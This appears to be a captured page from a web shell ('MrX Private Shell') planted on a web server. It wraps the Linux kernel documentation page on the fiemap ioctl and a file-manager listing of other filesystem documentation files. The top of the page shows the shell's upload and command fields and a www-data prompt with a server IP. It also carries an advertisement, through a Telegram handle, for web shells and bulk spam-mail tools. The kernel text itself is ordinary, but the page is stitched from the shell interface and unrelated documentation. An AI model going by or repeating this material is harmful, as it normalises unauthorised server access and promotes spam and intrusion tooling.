__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.138: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Fiemap Ioctl &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="File management in the Linux kernel" href="files.html" />
    <link rel="prev" title="Linux Directory Notification" href="dnotify.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/fiemap.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="fiemap-ioctl">
<h1>Fiemap Ioctl<a class="headerlink" href="#fiemap-ioctl" title="Link to this heading">¶</a></h1>
<p>The fiemap ioctl is an efficient method for userspace to get file
extent mappings. Instead of block-by-block mapping (such as bmap), fiemap
returns a list of extents.</p>
<section id="request-basics">
<h2>Request Basics<a class="headerlink" href="#request-basics" title="Link to this heading">¶</a></h2>
<p>A fiemap request is encoded within <a class="reference internal" href="#c.fiemap" title="fiemap"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">fiemap</span></code></a>:</p>
<dl class="c struct">
<dt class="sig sig-object c" id="c.fiemap">
<span class="k"><span class="pre">struct</span></span><span class="w"> </span><span class="sig-name descname"><span class="n"><span class="pre">fiemap</span></span></span><a class="headerlink" href="#c.fiemap" title="Link to this definition">¶</a><br /></dt>
<dd><p>file extent mappings</p>
</dd></dl>

<div class="kernelindent docutils container">
<p><strong>Definition</strong>:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct fiemap {
    __u64 fm_start;
    __u64 fm_length;
    __u32 fm_flags;
    __u32 fm_mapped_extents;
    __u32 fm_extent_count;
    struct fiemap_extent fm_extents[];
};
</pre></div>
</div>
<p><strong>Members</strong></p>
<dl class="simple">
<dt><code class="docutils literal notranslate"><span class="pre">fm_start</span></code></dt><dd><p>byte offset (inclusive) at which to start mapping (in)</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fm_length</span></code></dt><dd><p>logical length of mapping which userspace wants (in)</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fm_flags</span></code></dt><dd><p>FIEMAP_FLAG_* flags for request (in/out)</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fm_mapped_extents</span></code></dt><dd><p>number of extents that were mapped (out)</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fm_extent_count</span></code></dt><dd><p>size of fm_extents array (in)</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fm_extents</span></code></dt><dd><p>array of mapped extents (out)</p>
</dd>
</dl>
</div>
<p>fm_start, and fm_length specify the logical range within the file
which the process would like mappings for. Extents returned mirror
those on disk - that is, the logical offset of the 1st returned extent
may start before fm_start, and the range covered by the last returned
extent may end after fm_length. All offsets and lengths are in bytes.</p>
<p>Certain flags to modify the way in which mappings are looked up can be
set in fm_flags. If the kernel doesn’t understand some particular
flags, it will return EBADR and the contents of fm_flags will contain
the set of flags which caused the error. If the kernel is compatible
with all flags passed, the contents of fm_flags will be unmodified.
It is up to userspace to determine whether rejection of a particular
flag is fatal to its operation. This scheme is intended to allow the
fiemap interface to grow in the future but without losing
compatibility with old software.</p>
<p>fm_extent_count specifies the number of elements in the fm_extents[] array
that can be used to return extents.  If fm_extent_count is zero, then the
fm_extents[] array is ignored (no extents will be returned), and the
fm_mapped_extents count will hold the number of extents needed in
fm_extents[] to hold the file’s current mapping.  Note that there is
nothing to prevent the file from changing between calls to FIEMAP.</p>
<p>The following flags can be set in fm_flags:</p>
<dl class="simple">
<dt>FIEMAP_FLAG_SYNC</dt><dd><p>If this flag is set, the kernel will sync the file before mapping extents.</p>
</dd>
<dt>FIEMAP_FLAG_XATTR</dt><dd><p>If this flag is set, the extents returned will describe the inodes
extended attribute lookup tree, instead of its data tree.</p>
</dd>
<dt>FIEMAP_FLAG_CACHE</dt><dd><p>This flag requests caching of the extents.</p>
</dd>
</dl>
</section>
<section id="extent-mapping">
<h2>Extent Mapping<a class="headerlink" href="#extent-mapping" title="Link to this heading">¶</a></h2>
<p>Extent information is returned within the embedded fm_extents array
which userspace must allocate along with the fiemap structure. The
number of elements in the fiemap_extents[] array should be passed via
fm_extent_count. The number of extents mapped by kernel will be
returned via fm_mapped_extents. If the number of fiemap_extents
allocated is less than would be required to map the requested range,
the maximum number of extents that can be mapped in the fm_extent[]
array will be returned and fm_mapped_extents will be equal to
fm_extent_count. In that case, the last extent in the array will not
complete the requested range and will not have the FIEMAP_EXTENT_LAST
flag set (see the next section on extent flags).</p>
<p>Each extent is described by a single fiemap_extent structure as
returned in fm_extents:</p>
<dl class="c struct">
<dt class="sig sig-object c" id="c.fiemap_extent">
<span class="k"><span class="pre">struct</span></span><span class="w"> </span><span class="sig-name descname"><span class="n"><span class="pre">fiemap_extent</span></span></span><a class="headerlink" href="#c.fiemap_extent" title="Link to this definition">¶</a><br /></dt>
<dd><p>description of one fiemap extent</p>
</dd></dl>

<div class="kernelindent docutils container">
<p><strong>Definition</strong>:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct fiemap_extent {
    __u64 fe_logical;
    __u64 fe_physical;
    __u64 fe_length;
    __u32 fe_flags;
};
</pre></div>
</div>
<p><strong>Members</strong></p>
<dl class="simple">
<dt><code class="docutils literal notranslate"><span class="pre">fe_logical</span></code></dt><dd><p>byte offset of the extent in the file</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fe_physical</span></code></dt><dd><p>byte offset of extent on disk</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fe_length</span></code></dt><dd><p>length in bytes for this extent</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fe_flags</span></code></dt><dd><p>FIEMAP_EXTENT_* flags for this extent</p>
</dd>
</dl>
</div>
<p>All offsets and lengths are in bytes and mirror those on disk.  It is valid
for an extents logical offset to start before the request or its logical
length to extend past the request.  Unless FIEMAP_EXTENT_NOT_ALIGNED is
returned, fe_logical, fe_physical, and fe_length will be aligned to the
block size of the file system.  With the exception of extents flagged as
FIEMAP_EXTENT_MERGED, adjacent extents will not be merged.</p>
<p>The fe_flags field contains flags which describe the extent returned.
A special flag, FIEMAP_EXTENT_LAST is always set on the last extent in
the file so that the process making fiemap calls can determine when no
more extents are available, without having to call the ioctl again.</p>
<p>Some flags are intentionally vague and will always be set in the
presence of other more specific flags. This way a program looking for
a general property does not have to know all existing and future flags
which imply that property.</p>
<p>For example, if FIEMAP_EXTENT_DATA_INLINE or FIEMAP_EXTENT_DATA_TAIL
are set, FIEMAP_EXTENT_NOT_ALIGNED will also be set. A program looking
for inline or tail-packed data can key on the specific flag. Software
which simply cares not to try operating on non-aligned extents
however, can just key on FIEMAP_EXTENT_NOT_ALIGNED, and not have to
worry about all present and future flags which might imply unaligned
data. Note that the opposite is not true - it would be valid for
FIEMAP_EXTENT_NOT_ALIGNED to appear alone.</p>
<dl>
<dt>FIEMAP_EXTENT_LAST</dt><dd><p>This is generally the last extent in the file. A mapping attempt past
this extent may return nothing. Some implementations set this flag to
indicate this extent is the last one in the range queried by the user
(via fiemap-&gt;fm_length).</p>
</dd>
<dt>FIEMAP_EXTENT_UNKNOWN</dt><dd><p>The location of this extent is currently unknown. This may indicate
the data is stored on an inaccessible volume or that no storage has
been allocated for the file yet.</p>
</dd>
<dt>FIEMAP_EXTENT_DELALLOC</dt><dd><p>This will also set FIEMAP_EXTENT_UNKNOWN.</p>
<p>Delayed allocation - while there is data for this extent, its
physical location has not been allocated yet.</p>
</dd>
<dt>FIEMAP_EXTENT_ENCODED</dt><dd><p>This extent does not consist of plain filesystem blocks but is
encoded (e.g. encrypted or compressed).  Reading the data in this
extent via I/O to the block device will have undefined results.</p>
</dd>
</dl>
<p>Note that it is <em>always</em> undefined to try to update the data
in-place by writing to the indicated location without the
assistance of the filesystem, or to access the data using the
information returned by the FIEMAP interface while the filesystem
is mounted.  In other words, user applications may only read the
extent data via I/O to the block device while the filesystem is
unmounted, and then only if the FIEMAP_EXTENT_ENCODED flag is
clear; user applications must not try reading or writing to the
filesystem via the block device under any other circumstances.</p>
<dl class="simple">
<dt>FIEMAP_EXTENT_DATA_ENCRYPTED</dt><dd><p>This will also set FIEMAP_EXTENT_ENCODED
The data in this extent has been encrypted by the file system.</p>
</dd>
<dt>FIEMAP_EXTENT_NOT_ALIGNED</dt><dd><p>Extent offsets and length are not guaranteed to be block aligned.</p>
</dd>
<dt>FIEMAP_EXTENT_DATA_INLINE</dt><dd><p>This will also set FIEMAP_EXTENT_NOT_ALIGNED
Data is located within a meta data block.</p>
</dd>
<dt>FIEMAP_EXTENT_DATA_TAIL</dt><dd><p>This will also set FIEMAP_EXTENT_NOT_ALIGNED
Data is packed into a block with data from other files.</p>
</dd>
<dt>FIEMAP_EXTENT_UNWRITTEN</dt><dd><p>Unwritten extent - the extent is allocated but its data has not been
initialized.  This indicates the extent’s data will be all zero if read
through the filesystem but the contents are undefined if read directly from
the device.</p>
</dd>
<dt>FIEMAP_EXTENT_MERGED</dt><dd><p>This will be set when a file does not support extents, i.e., it uses a block
based addressing scheme.  Since returning an extent for each block back to
userspace would be highly inefficient, the kernel will try to merge most
adjacent blocks into ‘extents’.</p>
</dd>
<dt>FIEMAP_EXTENT_SHARED</dt><dd><p>This flag is set to request that space be shared with other files.</p>
</dd>
</dl>
</section>
<section id="vfs-file-system-implementation">
<h2>VFS -&gt; File System Implementation<a class="headerlink" href="#vfs-file-system-implementation" title="Link to this heading">¶</a></h2>
<p>File systems wishing to support fiemap must implement a -&gt;fiemap callback on
their inode_operations structure. The fs -&gt;fiemap call is responsible for
defining its set of supported fiemap flags, and calling a helper function on
each discovered extent:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct inode_operations {
     ...

     int (*fiemap)(struct inode *, struct fiemap_extent_info *, u64 start,
                   u64 len);
</pre></div>
</div>
<p>-&gt;fiemap is passed <a class="reference internal" href="#c.fiemap_extent_info" title="fiemap_extent_info"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">fiemap_extent_info</span></code></a> which describes the
fiemap request:</p>
<dl class="c struct">
<dt class="sig sig-object c" id="c.fiemap_extent_info">
<span class="k"><span class="pre">struct</span></span><span class="w"> </span><span class="sig-name descname"><span class="n"><span class="pre">fiemap_extent_info</span></span></span><a class="headerlink" href="#c.fiemap_extent_info" title="Link to this definition">¶</a><br /></dt>
<dd><p>fiemap request to a filesystem</p>
</dd></dl>

<div class="kernelindent docutils container">
<p><strong>Definition</strong>:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>struct fiemap_extent_info {
    unsigned int fi_flags;
    unsigned int fi_extents_mapped;
    unsigned int fi_extents_max;
    struct fiemap_extent __user *fi_extents_start;
};
</pre></div>
</div>
<p><strong>Members</strong></p>
<dl class="simple">
<dt><code class="docutils literal notranslate"><span class="pre">fi_flags</span></code></dt><dd><p>Flags as passed from user</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fi_extents_mapped</span></code></dt><dd><p>Number of mapped extents</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fi_extents_max</span></code></dt><dd><p>Size of fiemap_extent array</p>
</dd>
<dt><code class="docutils literal notranslate"><span class="pre">fi_extents_start</span></code></dt><dd><p>Start of fiemap_extent array</p>
</dd>
</dl>
</div>
<p>It is intended that the file system should not need to access any of this
structure directly. Filesystem handlers should be tolerant to signals and return
EINTR once fatal signal received.</p>
<p>Flag checking should be done at the beginning of the -&gt;fiemap callback via the
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">fiemap_prep()</span></code> helper:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>int fiemap_prep(struct inode *inode, struct fiemap_extent_info *fieinfo,
                u64 start, u64 *len, u32 supported_flags);
</pre></div>
</div>
<p>The <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">fieinfo</span></code> should be passed in as received from <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">ioctl_fiemap()</span></code>. The
set of fiemap flags which the fs understands should be passed via fs_flags. If
fiemap_prep finds invalid user flags, it will place the bad values in
fieinfo-&gt;fi_flags and return -EBADR. If the file system gets -EBADR, from
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">fiemap_prep()</span></code>, it should immediately exit, returning that error back to
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">ioctl_fiemap()</span></code>.  Additionally the range is validate against the supported
maximum file size.</p>
<p>For each extent in the request range, the file system should call
the helper function, <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">fiemap_fill_next_extent()</span></code>:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>int fiemap_fill_next_extent(struct fiemap_extent_info *info, u64 logical,
                            u64 phys, u64 len, u32 flags, u32 dev);
</pre></div>
</div>
<p><code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">fiemap_fill_next_extent()</span></code> will use the passed values to populate the
next free extent in the fm_extents array. ‘General’ extent flags will
automatically be set from specific flags on behalf of the calling file
system so that the userspace API is not broken.</p>
<p><code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">fiemap_fill_next_extent()</span></code> returns 0 on success, and 1 when the
user-supplied fm_extents array is full. If an error is encountered
while copying the extent to user memory, -EFAULT will be returned.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/fiemap.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644
Filemanager